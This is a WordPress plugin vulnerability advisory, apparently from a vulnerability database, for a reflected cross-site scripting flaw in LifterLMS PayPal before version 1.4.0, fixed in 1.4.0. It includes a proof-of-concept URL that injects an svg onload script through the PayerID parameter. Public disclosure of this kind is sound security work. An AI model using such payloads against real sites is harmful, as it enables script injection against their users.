WordPress Plugin Vulnerabilities
LifterLMS PayPal < 1.4.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape some parameters from the payment confirmation page before outputting them back in the page, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/purchase/confirm-payment/?order=order-xxxxxxx&PayerID=aa"><svg/onload=alert(/XSS/)>
Affects Plugins
Fixed in version 1.4.0
References
Classification
Miscellaneous
Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-04-04 (about 3 months ago)
Added
2022-04-06 (about 2 months ago)
Last Updated
2022-04-13 (about 2 months ago)